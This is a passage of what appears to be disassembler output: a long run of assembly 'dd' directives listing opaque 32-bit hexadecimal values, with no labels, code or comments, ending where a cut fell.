dd 0E5FDCA5Ch, 0F6F014BCh, 2319DF48h, 51E47B03h, 392E56CEh dd 7C7EB7B5h, 8B27E6A5h, 0A875782Dh, 0F2A3F5D5h, 0C6CADB4Fh dd 2049F64Dh, 2F5E029h, 7545C413h, 0FC4D1922h, 8E9A962Ch dd 0D23DC4D5h, 0F4C2BCBFh, 372D0F61h, 0F07023CBh, 0EE79B50Fh dd 888A81B9h, 94723F31h, 7751F6CFh, 60B4AFE8h, 23307B7Ch dd 0F8043E7Dh, 0BCED7A0Ah, 41E3A77Ah, 0D6B6CEFAh, 0F41D7DBEh dd 0BD60B2D9h, 7D361CC1h, 0A5065AE2h, 7E159F9Bh, 3E706C7Dh dd 7688FB6Dh, 0A9F0270Ah, 2FF7EC72h, 0AF7BD199h, 57C72F1Ch dd 9D4993EDh, 4C9B7FD5h, 2A1EE168h, 0BB467A78h, 0F56E7B3h dd 0CA80951Ah, 8413D4B7h, 0C540F84Fh, 39E275A7h, 4693B5C5h dd 0D3F14230h, 0D22CDEC0h, 0E4A6BE4Ch, 24FCE2F5h, 14566069h dd 82DFB76Ah, 0A9C88A81h, 0F9D763A7h, 9B448D13h, 0CE4262DCh dd 0B4EE6A33h, 1982389Bh, 2F7E8648h, 0AC6B078Eh, 0C771E9AEh dd 4BBBA9E5h, 794F9021h, 4EE769E2h, 95899C1Ch, 754308A1h dd 6417502Dh, 9AF6019Ah, 0A62AF67Ah, 436AFD07h, 0A17E29AAh dd 5BF437A5h, 3C9E50C7h, 69EB50A6h, 0E08551A8h, 2CAFCD51h dd 775B7F29h, 3BB12144h, 5F63F48Ch, 80D3CD55h, 0D06886E5h dd 27BCC9B2h, 7F9D89EEh, 966F174Dh, 587C708h, 779D37E7h dd 0E9EECF82h, 958E959Eh, 1AAE6B9Ah, 811800B3h, 0E334408h dd 1EF4B125h, 9C7146DAh, 455A92D2h, 0F73CCDB5h, 86708BFCh dd 62391C61h, 7664D487h, 70B535FFh, 0E7D32DA7h, 0D767C2CAh dd 31CA4A5Bh, 491C769Bh, 3E47B2A5h, 20782C03h, 83A721F7h dd 8D94C67Bh, 8307234Bh, 0BAC53674h, 0BE188B4Dh, 6D25D428h dd 433E0CA1h, 1B2264EBh, 5DC98D34h, 0EB803B74h, 89337B7h dd 0C27CE0ADh, 3C997750h, 0DAE7F21Fh, 22F82777h, 9F016D3h dd 0F82DA818h, 252F33CEh, 224AAA72h, 9573C7FDh, 0A2CB5BE5h dd 31F78747h, 0EDF04ED0h, 8F4EDDC9h, 9E50F81Eh, 95CFB0E4h dd 35254A4Bh, 92531B2h, 0E68DD6DDh, 5C32C91Ch, 4167F10Eh dd 0F5DF0E6Fh, 863E2AD0h, 0D255EABAh, 8E8EDF1Ah, 0C141006Ch dd 4355FBC3h, 8F8E5554h, 91439935h, 0FAF59D9Fh, 0CB4F3DAEh dd 9FF6ADE9h, 6796C4ACh, 0ECBC065Ah, 54DF466Bh, 30BEC2B5h dd 267828A9h, 0E8F78681h, 1B7582Bh, 0E6F72C48h, 363DD2B3h dd 12D42F73h, 65B7A7E8h, 78830EB1h, 46EE8A85h, 97B96E8Fh dd 8873E369h, 5919257Eh, 23594C1Ah, 99BE4BCCh, 0E43C0DDEh dd 11AA0B61h, 92E5574Eh, 4582487Dh, 0A041E259h, 0BD7A4D66h dd 53CE8344h, 0C01C1213h, 3214A05Bh, 0AD3D219Fh, 0BC001546h dd 29F5A561h, 9EC51B9Eh, 479C7B2Eh, 0AFBD7ED4h, 66268103h dd 6CA50464h, 0F530A4C9h, 0B1AB9DDh, 0FDAB93CBh, 29BDA100h dd 0DF8E5071h, 4A216808h, 0BE8F1425h, 0B9E3AE8Ah, 3BB84C4Fh dd 3938333Ah, 0D23693CAh, 42A07EF3h, 0D96F83DBh, 0E3B6F246h dd 72BCACB4h, 7AB30141h, 7FEC8F5Bh, 0F619FEC6h, 70C8EF31h dd 36C7C3A3h, 4D8455D9h, 0E816BC80h, 8966D64h, 68C90CB3h dd 604FC712h, 6F0ED29Fh, 56C97DFFh, 788832FFh, 0C74DFB11h dd 0BAFFC742h, 72A4314Eh, 0CCFEE18Ah, 806AB836h, 72B0C267h dd 2EEE7605h, 14B7EB6Ah, 0C73075A7h, 587FB02h, 8C53718Eh dd 92E80C3h, 0F0F25A2Ch, 0FD765655h, 256D9E87h, 3E60824Ch dd 0D63DC0F2h, 8D6A1FF1h, 3211236Ah, 30B2D8B3h, 3CD72C7h dd 62A5BE41h, 0F6A18D22h, 9064028Ah, 72E329A2h, 2A3B1B00h dd 83721B1Dh, 2DB64C33h, 0E891586Eh, 0CD01766Ch, 8D354632h dd 5B6365EFh, 8D420B5Bh, 4DB67A5Ch, 0C6D8BD07h, 0C0E9B2DEh dd 757F8BF4h, 19B533Eh, 0B2DDD78Ah, 0AD7B0A9Dh, 0F2BCEDAAh dd 0A5992A35h, 6EAE74D0h, 9CA0165Dh, 5C18C0h, 0B42609A7h dd 0B65C430Ah, 1F92D5B7h, 99F4191Ch, 9AF0CEB5h, 0DC9844Bh dd 8AA4DE76h, 0AD2941EFh, 51399675h, 7312FF42h, 51438066h dd 55F584ECh, 44F633D3h, 0D4391BFCh, 0BAEC6A3Ah, 0FD96591Bh dd 0B41A79A5h, 5A97E177h, 0CAFD7BEAh, 1E77374Ch, 4BC8B3D5h dd 2D663A11h, 0E8FC470Dh, 0E852C361h, 9BBC75A6h, 735FC7A8h dd 538BB55Ah, 0D7D2988h, 0BD3AD65Ah, 22C1D59Dh, 0F9FB2E22h dd 6E9214EBh, 7834BF73h, 328B94D3h, 3AF4FA97h, 0CA0E9BAFh dd 0B8AC4FEDh, 0A72B5DADh, 9BD3C42Eh, 61316897h, 0A7561EE5h dd 91173369h, 0AF3A4774h, 8B265CDCh, 0D3AE8EB3h, 0DF6836D8h dd 61F3AF3Ch, 42EE2AC5h, 9D8B4CA5h, 0F0E63BB2h, 9CC1E0A6h dd 4B247167h, 40497488h, 0CDB69F30h, 0A0577184h, 0AAA924A0h dd 77BDD6Eh, 6320A59Bh, 23EEB680h, 6510D422h, 6382F6C2h dd 8635FFh, 4B816B0h, 4E24D330h, 0A6D74BDDh, 0B4C78EB3h dd 0E35736CCh, 7E47D39Ch, 55177804h, 5840066h, 0EA0C6EA6h dd 86164AD6h, 74A258DDh, 6F5A6C48h, 4A401CD3h, 0EEB84A2Ah dd 0B4C2B967h, 25F5E806h, 0FD30B6E3h, 408EE1E8h, 8FA8AF43h dd 0EF385E7h, 0AF5F5CBh, 552627C6h, 0CE5B5620h, 46D584AEh dd 4B5B96A5h, 13497D8h, 0C52B20B4h, 9374DA4Ah, 0A5E40D58h dd 43B8122Ah, 7CFB962Fh, 5DEF77B6h, 0EC9A0F8h, 59DAFB69h dd 6C2C6003h, 8D60F275h, 270A0D45h, 0AE74C1B7h, 789D3AB3h dd 1207B7D4h, 89EA7ACh, 71482533h, 2D6E21A0h, 4F9408A5h dd 3D15C78Eh, 0BF1D2F3Bh, 0E4054C59h, 932C04D9h, 0AF342034h dd 0C6760E64h, 78CD32CCh, 0F8D3F92Ah, 0E3AAE415h, 0A1AB66D1h dd 7F8E7B18h, 1C5DCE27h, 53281350h, 1B6CED8Eh, 328D8D66h dd 339F0714h, 4F7B241Bh, 7D0DE152h, 3CAF662Ah, 2C4DBB8Fh dd 4B7A90CBh, 2CFB8CE3h, 7BE0FEC2h, 76242785h, 6C558695h dd 1F96925Bh, 503B333Ch, 295D5DF5h, 0A8AE59F6h, 2D8AEA71h dd 0BBCAC4CBh, 79EBFE5Ch, 854C2C62h, 47A6498Ch, 3762D421h dd 7F190511h, 9D880E23h, 6BC5C88Ah, 0FDFF740h, 64529F50h dd 65B802E3h, 88ED9F1Eh, 50C6E913h, 0BFF34A40h, 5C63FB1Fh dd 9B5C4A7Bh, 9FB6A77Dh, 26F021B4h, 0E0814D5Bh, 3FEA38E9h dd 5A784BB7h, 0C43048F5h, 7D390C3Fh, 0B8EB90ACh, 35DF0D6Eh dd 0BD50CE44h, 81AEB8C3h, 0BDBAFEB3h, 0B6B7C3B6h, 31133A39h dd 55DC3013h, 0D08C5725h, 6874E2E1h, 2120E4A0h, 27611325h dd 0B2D452ABh, 0B3DFCE71h, 0B6631441h, 55E0D136h, 6E3B74Eh dd 0E7AEB4F5h, 0C4C8BECAh, 6FB0315Dh, 9F256602h, 15230C3Fh dd 0A38DF349h, 47783A74h, 0F652D00Fh, 0EAA8E94Dh, 86F855A9h dd 68ACF136h, 892070F6h, 0F2D6AA51h, 0BDD6E915h, 1E38D557h dd 3C3032F8h, 0A06A6011h, 0E259B3B0h, 35ECEDCCh, 9C791E40h dd 61FF65D8h, 0F4D56537h, 3F606EAEh, 4FDAB854h, 7B35004Ch dd 19564BDDh, 5085D640h, 0CD4D7652h, 0C5AD4AAAh, 0F1F96D07h dd 177BC42Ah, 8E9213F2h, 8C216A24h, 81D3456h, 9B969999h dd 0E6F3563Ch, 0D449FF3h, 47330D04h, 0C0D6DFD1h, 0D292020Dh dd 0E018ED60h, 6518AEB4h, 2A030543h, 567816B4h, 22C432B1h dd 72F2433Ch, 8A7940A2h, 70FD2844h, 633F1ECBh, 720EAC96h dd 0B96CCB09h, 0F8C3EBF0h dd 43830506h, 0B0E55548h, 0F84037D9h, 152CD186h, 0D15C4797h dd 3F7842ABh, 0DAAB173Dh, 622F2CE1h, 96077832h, 83ED4D94h dd 106BC9A9h, 0EDB4753Fh, 0D0F20D84h, 5052AD99h, 0E7790158h dd 0D970FB08h, 4D4C2F80h, 9A506FE9h, 0A13F8D84h, 50CAF00Ch dd 530C0B2h, 0E0200EE9h, 9B56C6EEh, 0DC5FF41Ch, 8000BEA7h dd 356E5E0Eh, 0F9BAC710h, 7FD4B7BFh, 760A919Eh, 8A36684Dh dd 1C2E7E04h, 0F8F80B2h, 0C6164247h, 1032CD30h, 1FB305CBh dd 5B84A5DCh, 45841892h, 0E863A73Ch, 5C5E5FA6h, 0F0614511h dd 8F87529Eh, 0A1D00162h, 0DD1839F0h, 308AB1FFh, 0EA567F33h dd 0ED09120Fh, 0B54E971Fh, 7F5E7009h, 9C98EE79h, 0F49D8E0Ah dd 0F86F3234h, 5A02DC3h, 0BB18D6F0h, 9A284BF7h, 0A99A892h dd 0DB651843h, 968B6B96h, 0DFD3699Bh, 3EC39E0Dh, 0CE4C6C90h dd 1C02932Ah, 0D935E71Bh, 84B56A8Fh, 78F320A1h, 1BA6C119h dd 1964ED57h, 0D772872Eh, 0F69D6029h, 0B2710862h, 148A288Fh dd 0B016985Dh, 44B27220h, 0C93046E2h, 7D672C08h, 0BF68A7BCh dd 0B47BE1BEh, 0A8257D61h, 0FC6488BFh, 0CAB5EA62h, 0C956DA0Eh dd 75AFBA15h, 42AEAE3Bh, 889CCED2h, 0BC1B945Ah, 0EB4CAA14h dd 0B14CF212h, 0EC563776h, 0A000B755h, 48AE968Fh, 0D8AEAD92h dd 5C5DC0EFh, 7234D523h, 0B127AAC4h, 9BD1A014h, 26B9F80Dh dd 3013F34Fh, 0B30B0CA9h, 0B6429C11h, 3F9FD23h, 0C7B1B681h dd 0D3BFA37Ch, 0E0AD8B91h, 11D580ACh, 5DC1E557h, 99257A44h dd 48BC76F5h, 0D085E299h, 694B327Fh, 386029Eh, 1EE50B8Eh dd 4EAE7E03h, 0D089766Ah, 2E902121h, 11FA229Dh, 0E99AC533h dd 0DD533h, 7BA90A5Eh, 50E53BEAh, 0C876E743h, 1ABB36DBh dd 1F28D82Ch, 8508F0B3h, 0B14F9B70h, 0D29AE997h, 828697B9h dd 0F5C3E79Ch, 1E87390Eh, 6AE5419Ch, 2180F72Fh, 0C26774CAh dd 0CE9F8074h, 0D3F3E4C2h, 0EA56E52Ah, 5C944169h, 0B7B499F4h dd 927703ACh, 9CC0EF4h, 0C1B17284h, 0B19C93B3h, 49655E1Eh dd 0B8C03D18h, 1792AE48h, 0ED054721h, 0CD0CDB02h, 0D6265AFAh dd 0A2886A53h, 5E8565C5h, 1E9A9DCCh, 5C23B1E8h, 0E153E9ADh dd 27A44ED3h, 0E7D366F1h, 0C21C0BE5h, 0E8565274h, 0FF6E6C42h dd 0A5C7D224h, 964032F4h, 27EC4D8Fh, 0D2533876h, 0A5D80074h dd 40E52AA7h, 36C61E22h, 3C96BCAAh, 0B2B5853Ah, 6E5F0267h dd 7559AD0h, 0D682C884h, 0F591D8EFh, 716EF516h, 0E521FD7Fh dd 0EA1F8523h, 3A5DB7E2h, 0E2B82884h, 785CF278h, 0FFCEE1F0h dd 0EF35C01Fh, 0F2869FF1h, 8595C4FBh, 0E557571Bh, 0DA6C6C9Dh dd 86143C6Bh, 1E245A77h, 214E606h, 0AE4D84C0h, 0F15656B8h dd 15E6D964h, 2ECE5129h, 4A719520h, 88FB0ACDh, 0ABF901B3h dd 0F503043Fh, 5A58A0E9h, 0BBD04266h, 19D51766h, 1E692ED0h dd 0F0DAAD6Fh, 8BA83FD5h, 0FDED3875h, 83FD9AD3h, 4A687071h dd 76809271h, 317B8BE1h, 5E438102h, 48345F0Eh, 473E4E5Ah dd 1CB27A1Ah, 78EF02B4h, 854D2D57h, 6AB6F85Dh, 0AFF7CD7Dh dd 59AC399Ah, 1E43E5D0h, 86762CD1h, 8F38A5C9h, 0CD9F96EDh dd 0CD3266B4h, 0C645E8A1h, 91247ACFh, 3A19F129h, 0B7C45DB5h dd 8933F7C1h, 990D251Dh, 861FCF78h, 9C621C8Dh, 4DCE2F44h dd 0C5199D24h, 585C23B6h, 48DDC4F9h, 9BD5B8F2h, 0E4D2C3E1h dd 98BBC205h, 98BACC7Eh, 0AB6915A3h, 3AD0CAB7h, 0F918FC76h dd 67C3E4B8h, 0F55CFD37h, 0F8AA0924h, 8BE4FB5Ah, 299A81FFh dd 637B3DF0h, 9FA22B09h, 0D642138Bh, 7EB6B12Fh, 0DB98025Eh dd 0E7339B61h, 0F720AF58h, 0DDDE3Ch, 0AC1C2DECh, 0DC9940A2h dd 130416ABh, 0BB4F8910h, 0EF43E397h, 0C0B34658h, 78C39E71h dd 97EFB788h, 0B1340AF3h, 60AD3810h, 5C9F6E7h, 0A4C8DBECh dd 60CB1477h, 4B369B66h, 0E5290328h, 0F90D5A2Eh, 0D50FBE11h dd 0C1996A9Ch, 0DB3A5F9Fh, 75460D27h, 0B1FBD9F4h, 0EE06309Dh dd 0E6425A77h, 614ABAF3h, 6D1ADEB0h, 2BC4416Fh, 499E407Ah dd 0B5B21E77h, 0FCED367Dh, 2330FD2Fh, 0F9F30D4Eh, 5A65567Dh dd 639FC279h, 9D072690h, 0EC88F8C5h, 0D7457254h, 0C0F62DD1h dd 0DD8AD889h, 0A54351A7h, 7600807Ch, 806DFF43h, 0EEA807B8h dd 0D4A8371Fh, 93AD2B53h, 4BFDA2E7h, 0AF5277EBh, 0C2F8B46Fh dd 54D644D3h, 8FFB4923h, 2A6FF858h, 0D4C410F6h, 0DB0AB201h dd 4E3B9E30h, 0CFF6BE1Dh, 0DB3A2A53h, 15771AA6h, 0DAA6ED66h dd 3A8D5E01h, 0EEE16456h, 0A1E439FAh, 63D4DFB1h, 0F2985967h dd 4E979823h, 76FE8D0Fh, 5A091E14h, 7FEBE6AAh, 0A555AD43h dd 4077CE00h, 2EA0BA87h, 0C0717647h, 0F7B60490h, 0F3D8974h dd 894A8CBh, 9E8C9A6h, 9BC5B6AFh, 19252231h, 0DF7BABB1h dd 0ED10771Eh, 530D315Fh, 7211CE30h, 9519E98h, 7E0D1C46h dd 5108FDDBh, 0A5A493F5h, 0EE4DF324h, 7FB29731h, 5FC8BAD3h dd 733AA2Bh, 0FB089E1Bh, 0B1B8C09Bh, 0CB144EF9h, 0EF6E2295h dd 0F7B348Bh, 1C80EACDh, 92A68BACh, 0EEC95094h, 46229534h dd 0AA2DD5F6h, 0BBF59FD2h, 0BC12EEA1h, 7C79FAF2h, 30E65BC7h dd 0D79FA7C1h, 684387D0h, 18CE0A1Ah, 0A068EFE7h, 0D2C9EC10h dd 8D7EF4E8h, 0B39BBB36h, 99B1C68Dh, 4241202Fh, 2CAE3C42h dd 94B5B15h, 0F65B6967h, 0E4E28A03h, 0D9109081h, 6C7CC76Ch dd 0AAF5AFF3h, 0A915012Ah, 12D62B03h, 0A25F4C9Dh, 806F139Bh dd 0D68ADC57h, 0C5C38CD4h, 9BFC6F46h, 93A592B2h, 0B2C001ABh dd 0D5BDF73Bh, 0A523F9E6h, 94AAFABh, 0A7C6211Eh, 0A17B0414h dd 0EE3560C0h, 183345A9h, 21AA2C63h, 0C12B5F44h, 8E6EFDC9h dd 6AB15E06h, 0C5C25DACh, 727A850h, 59A836E1h, 0C24EE33Dh dd 0A731BF8Ch, 6D616FFDh, 0A502457Dh, 17EF29E6h, 99EB3B2Bh dd 0EA46704Ah, 1AA9527Dh, 5F2DD07Bh, 0CC60E461h, 85785F72h dd 3BCF4BDFh, 4BCCE35Bh, 0A5093CA7h, 0C4D372Dh, 0F3690339h dd 0E74994DFh, 0FE9A6874h, 0D7192017h, 6A71F84Fh, 0B7CCEE6Ah dd 0FB4B9729h, 3A49CC55h, 96CC3342h, 0F8CE2AB2h, 3F526A1Dh dd 2106D71Eh, 7C6FBF47h, 7A02F23Ah, 0EBCE0767h, 9B810337h dd 0EEFE26E0h, 0F70E7627h, 0CD511716h, 0A6898534h, 0EE762479h dd 0AEC68EBFh, 176273A0h, 4ABA9975h, 54190DF9h, 479E78ECh dd 0DF66A1C4h, 0F62C3F38h, 0EE0B23FCh, 975F5448h, 81D55D2Ah dd 39EBB1D1h, 0EECA65E3h, 26C489DBh, 29BB7B4Fh, 94FD2599h dd 9DAE3F20h, 9C0BBC7Dh, 0B9F9FF46h, 5375BA38h, 1FDA4AB7h dd 401D72B1h, 0DAA4DBB5h, 7CAE8732h, 1BF10A28h, 59DF66E2h dd 8322510Ah, 0CFC3F62Ah, 2295DBE5h, 0D1409CAAh, 513AC979h dd 4A085BBh, 1F7718C7h, 6DCCCEB0h, 28E4AEEDh, 92F90ADFh dd 0ABC6411Fh, 95C73109h, 0B5E0A869h, 0E747D180h, 0C5339170h dd 0D268D0C0h, 7DBB3804h, 87520D64h, 891E9DFh, 0D8927AF2h dd 4C915014h, 85733502h, 0FADBB83Bh, 8C395DE0h, 60D0A0FCh dd 0EF226AA8h, 2A0D8E4Bh, 93BA8570h, 7E89762Ah, 4D01EC1Eh dd 0FE14D63Bh, 748044A5h, 0B6D826F1h, 8BAEA64Fh, 4E57676Eh dd 0F41EAA7Dh, 59F4D7EBh, 160138EAh, 76BD11D8h, 45FD55B9h dd 12F91FADh, 4E68FFF8h, 69C68A56h, 49EC42D1h, 0F6F009F5h dd 4801F436h, 30C9BDCEh, 0C3590ADFh, 0E8712DBFh, 0AFCF609Dh dd 4A37914Bh, 0A2949495h, 0FB4BBEDCh, 58E13B93h, 30D7307h dd 37E20071h, 93770EE6h, 9FF08F5Fh, 0E3CF3F3Dh, 0E5BFA780h dd 0D172B0Ch, 1A1D40DCh dd 1395C956h, 36584B82h, 915792A4h, 3F4DA56Ah, 0F1A4E8A8h dd 523E7187h, 0F41419AEh, 55AB3134h, 0ACC9E9AAh, 0B90088E6h dd 4B1631C7h, 7DD8422Dh, 0FA6A0A7Bh, 29868FA9h, 5F8B1FD5h dd 0ABF6799Ah, 5D3EC699h, 5751BF31h, 0CD50822Dh, 5625C236h dd 40D57DD2h, 0FEA2D9Eh, 888609B5h, 6D515DD7h, 22CC4F9Bh dd 0A4E43671h, 2CFD351h, 94A079EFh, 59822D25h, 0D951D4D1h dd 80F8EC56h, 4D34DB02h, 0A2081CFAh, 0CDA21F8Eh, 75E51895h dd 8C829411h, 48A310Dh, 5C391EA7h, 0DDE0365h, 0AC9D002Ah dd 69361E7Ch, 0A5294DE9h, 0DDC38763h, 1CA43636h, 7ED2963Dh dd 5B043DD2h, 45C02CC5h, 0FA6125DBh, 0A8DE0483h, 0CCD0B097h dd 0BA3E57F4h, 222DD584h, 0FFACCD14h, 0C438763Ah, 0EDEEE9D8h dd 50236C56h, 0B64F3ECFh, 0F1D4283h, 1CE5558h, 9D8DC05Ah dd 9CFC1046h, 105E5D04h, 6E4B2C2Ah, 5BE2865Dh, 0E094B033h dd 1BDC0704h, 0FC79C3FBh, 0D6465326h, 3D5082ADh, 0EFC13659h dd 0BE6DDCD6h, 1081CD0Eh, 2D98D640h, 4BF226E2h, 459E610Ch dd 0CE5EF703h, 6D23EC8Fh, 8198463Ah, 10729C9Fh, 5686C22Fh dd 6B094DCAh, 26ECD9BCh, 0CCD35B57h, 0F6330274h, 1B6CF83Eh dd 7918E688h, 0D2C1C1D0h, 419B3FE4h, 5972E8A9h, 99ABBFDh dd 0D49705ADh, 30197FC9h, 0DE9F9441h, 99DB5DE4h, 42DEEBF5h dd 3CC9FEE6h, 0B9F68627h, 0FBB2B91Eh, 10F91105h, 989844B4h dd 5B9AC955h, 0C6AFCFE3h, 6D7212BDh, 2796D5CDh, 0EDCC8580h dd 32779DE6h, 61B99380h, 0F2FDD120h, 9310DFDDh, 50219FE7h dd 0C1750F8h, 0D5A5FBAh, 5AF0D3ECh, 63253764h, 47F67F0Fh dd 0F8687D5Bh, 0E0183FE8h, 0D7706B70h, 0AABB1F3Fh, 0D6CB2EDFh dd 5F10EC5Ah, 2330FEBBh, 0CD23623Dh, 340D3563h, 6CCE5FBEh dd 182B4A5h, 0AE379Fh, 20E70D5Eh, 7BE8F944h, 6FFA763Ch dd 0FF2D3D69h, 0D52DD8B5h, 0F705FEEDh, 0A4FEEFABh, 0BAE54B97h dd 2ED6A8BEh, 2C9BD697h, 3F801B9Fh, 0FE0952FEh, 0CD25A781h dd 45D801A2h, 0D35F59A5h, 798BC4DAh, 0A597B8BFh, 0BC5D3FC7h dd 0D7D2BB02h, 864C13D9h, 50C96AB0h, 458774D4h, 0EFEAE0CBh dd 0A02311E8h, 0E562CDD6h, 52B2F931h, 60FD0B7Bh, 0B9F4B262h dd 0BBF03688h, 0A0F6B205h, 0DA502FFAh, 2BFAFCE9h, 0C8BB7F96h dd 32C9519Ah, 0E0DC2FFBh, 6D91F728h, 6167672Eh, 29424FBFh dd 8C0719ABh, 9013127h, 4AD1DA76h, 906292A2h, 4CE42D96h dd 0FF5E884Ah, 7191130Eh, 6F7C00B0h, 590FADD1h, 8A8BAC2h dd 0AD9EFDEBh, 489182C3h, 0E69DC16Bh, 2D494C2Ah, 246C84BDh dd 0C85EB537h, 1C665433h, 0AF344FC7h, 0CE19F57Eh, 0FEE814FCh dd 0FAD981D7h, 0DB88A710h, 99CE59B0h, 0F5F25E63h, 0B3F40F0h dd 0D2EB6BF3h, 7B6AC6B0h, 73E43C81h, 3FA9DA52h, 46431BB7h dd 59FA0B6Fh, 0E3A4E3D6h, 204977D8h, 52AEC6FBh, 4104AB90h dd 0A8D1C102h, 1BC014FCh, 0DAC3393Fh, 456F8F76h, 745DFCADh dd 0D85533CFh, 0DD6AFE8Eh, 0E1B61A6Ah, 0B7DAC88h, 550BFF5Fh dd 0C2DD469Ch, 0DB349B2h, 4A761456h, 0C4DF4E3Ch, 85C58AD2h dd 7E4DA6E2h, 89F1901Bh, 4C464A6Bh, 3874EB0Bh, 9475853h dd 0E275D899h, 0C96633F6h, 5EB2BB87h, 850177FFh, 0A67DBDA4h dd 866B0399h, 90175E36h, 17C036FEh, 19783639h, 0D05FEBB0h dd 1C729BE9h, 49B7E2CBh, 3F6666B4h, 86261263h, 0AF16D667h dd 0F6D670E1h, 7763097Ah, 9012E8F7h, 0BC76E9A5h, 0A7D3A5AAh dd 0A7528DD4h, 6E39CB36h, 43C06BE2h, 0F9EFBE6Fh, 9CFF3681h dd 0B2306735h, 81BFA9FEh, 0D378E2E4h, 1E89D094h, 649512B0h dd 3E8F9033h, 0B1CAAFD1h, 0DEF7F097h, 0F5D69735h, 34C5FB87h dd 0B7454306h, 29C3ABA6h, 0D1BBFE34h, 0C79B0032h, 87CFDA9Ch dd 0EEEF1266h, 862298C5h, 0A22DDBA9h, 0FEC0DDB0h, 9ACB527h dd 1E0A7A26h, 6DBA3FAEh, 31279E3Ch, 624A6A3h, 0F38377FFh dd 442884CBh, 83522350h, 99CAA2FFh, 416034EAh, 0C9A78C02h dd 0AD613E6h, 3392ED0h, 0B3C0FEEAh, 161FA97Eh, 5D3077F1h dd 0C292FF4Bh, 456CEEB4h, 0A5B960D3h, 70B8BD14h, 0BB902BD3h dd 5D72F663h, 0E273068Ch, 0FC19BABh, 0C49F9137h, 713A4222h dd 0EDF41B0Ch, 8C53A70Ah, 2F3FA5BEh, 91D75F58h, 6B5F4C31h dd 0DC74D252h, 0D5024A90h, 39ED9C23h, 0B66EBCEFh, 0A9C69CA3h dd 0BAB25EA8h, 6123E280h, 60E604FCh, 0B8552E06h, 0C6AD4388h dd 0D574E22Eh, 69825F7Dh, 0A271AF18h, 0C79A6778h, 2455B7A2h dd 0E6B4F722h, 8D63F132h, 0BE7FE72Ah, 0F956CB37h, 5B133EEAh dd 0BB5811F5h, 0ACDD7F4Ch, 0B05D7526h, 0CFEBB3Eh, 2071836Eh dd 0DAB1D650h, 0E6EA9779h, 51A17436h, 35161B2h, 0D4604760h dd 58223B48h, 0CED12EA6h, 16570AD2h, 3411C7Ah, 715A6B9Bh dd 0E2772C1Bh, 84167598h, 1627082h, 734B8AB7h, 3802CE1h dd 0D1E42F66h, 76C77716h, 0ECA36348h, 40FEC62Ah, 0CAEB7683h dd 60E0C6Bh, 83905DE3h, 753775Bh, 4C8E88Dh, 2EDE2007h dd 621EF3A2h, 5C9C9316h, 802D9482h, 0C2D3E955h, 51486DD0h dd 0BCDA60A4h, 4247B077h, 837A0FEBh, 0ECAA02E5h, 92AF6BAFh dd 1EB83BEEh, 8E799E70h, 0FE106CD5h, 607CD57Bh, 0AC7045B5h dd 7B687FEBh, 8149314Ah, 9D9D136Dh, 0E11B708h, 0A0E5EC59h dd 52B93D24h, 30900744h, 75574616h, 64E51DD0h, 32121958h dd 3A3E6054h, 60062AB0h, 30A1A02Bh, 0A071AB6Eh, 0D255D981h dd 0E3CE59D8h, 77CEC5E8h, 0D9D3DF1Ah, 0DF84ADFDh, 3EB13751h dd 7E11098h, 0DCFEE27Ah, 0BD893934h, 4AB46B7h, 342B2479h dd 589830EDh, 5A461269h, 0CC3540FDh, 7C9982E4h, 0DFB8FC83h dd 0AC448C45h, 325A7423h, 0D0DDAC60h, 2CE769BBh, 0A296F9C2h dd 7E995099h, 0C60FBACDh, 0F0450C93h, 883CC255h, 0B24A5B26h dd 7EF07E5Ch, 0EF72AC00h, 7394D1F8h, 0CDB1B92Bh, 409FE3E2h dd 115FEE34h, 548E839Fh, 0FE48D26Eh, 0F3FCF33h, 4DBC2F2h dd 3C7B92F7h, 0DF7BDC79h, 5C327822h, 2E117C59h, 0DECF6D0Fh dd 7D3B845Eh, 0F9FB5745h, 0A7C3510h, 0EE1B2C8Dh, 0B27D7277h dd 0BB641BD1h, 3DFC02C1h, 0C3D83D67h, 0FC925B24h, 9A8654CAh dd 2891C2A4h, 0B7F90881h, 61F82E74h, 34FB663h, 862372A8h dd 0B697DDE1h, 0A523A8FBh, 88AAD50Dh, 0E0C89A51h, 7361C976h dd 7BF60AE4h, 72DD7747h, 0DAE6B8Ah, 35495586h, 50FA4E30h dd 0E5E2A0A1h, 1AF26CC3h, 0F70703F8h, 2903EF7Fh, 5C2ECD9Ch dd 0F1C5DABBh, 4AD7577Fh, 21F647E9h, 654D603h, 0D02E9301h dd 0FA6DC880h, 853E9AE3h, 3B6CFCFCh, 861073D6h, 7BDE757Bh dd 0B4750A5Fh, 0AD7B7A96h, 225089C5h, 3992CB9Ah, 3DD5BB24h dd 0A3703F62h, 512F68C7h, 0B87FFE64h, 0EF9A9404h, 24C857E4h dd 38C80Ch, 268F2E67h, 0CF4E3AC4h, 0C60831E9h, 7D3DDC72h dd 15BBA5C7h, 57371FBCh, 8AFF09Ch, 6BD7F6FEh, 2680D400h dd 8B9D9412h, 3483F4C3h, 5B579869h, 0A310F1D9h, 0ADF6EA2h dd 80086EB4h, 0D840B5DCh, 84BFAB7Eh, 505EC31Ch, 119C06E5h dd 5733039Eh, 29AF0ECCh, 5A0A129Bh, 32B201CDh, 310682DDh dd 2CE17D2Ch, 0B179C6FDh, 0BE8C50EAh, 0BF966381h, 0F1AC20FCh dd 8599310Dh, 0C87A71EFh, 0D2978C41h, 0A4329DB2h, 8FCC2670h dd 62954C40h, 109D97D3h, 2A05C12Bh, 99A47BA8h, 0B4837DA8h dd 0EEB4AFE4h, 3BB07997h, 65C16A12h, 292236Dh, 8BE04FB0h dd 547CAA18h, 0F7A228A3h dd 6CB2A050h, 5A8F381Ah, 2C0A409Dh, 40D9E9D8h, 0DE67F861h dd 0B0A9077Bh, 9444182Fh, 0EB388296h, 48A2E9E5h, 87C09868h dd 0DB6BBB6Ch, 345D3FEEh, 90CFB893h, 0B0DEDB3h, 510E8397h dd 0A873E071h, 1AC9C63Dh, 12BED05Eh, 0E9922E03h, 2642F7CDh dd 1E636825h, 51639AA6h, 0A50E5077h, 0AF4DE2A2h, 0DCD316DBh dd 0AB76D36Ah, 380FA662h, 32A48AF5h, 75C3F6Ah, 82EE0D0Ch dd 97D1E849h, 0C1310930h, 36D0BCAAh, 71AADFAh, 0AA165EABh dd 7AF58B85h, 9F29F204h, 0AEC64AC8h, 8228F933h, 0A5F927C1h dd 0F6E56B5Ah, 0B1DA2603h, 0F51F33CBh, 6AD7B16Fh, 4B6C8413h dd 1DFC0CF6h, 6994C0DFh, 0A85AAE0Eh, 13CAE2D7h, 0D8A3748Ch dd 0C9A42C8Bh, 0B607E092h, 8E06B3C3h, 400116Eh, 0CC1B20BCh dd 6327CAAFh, 0F9E032D2h, 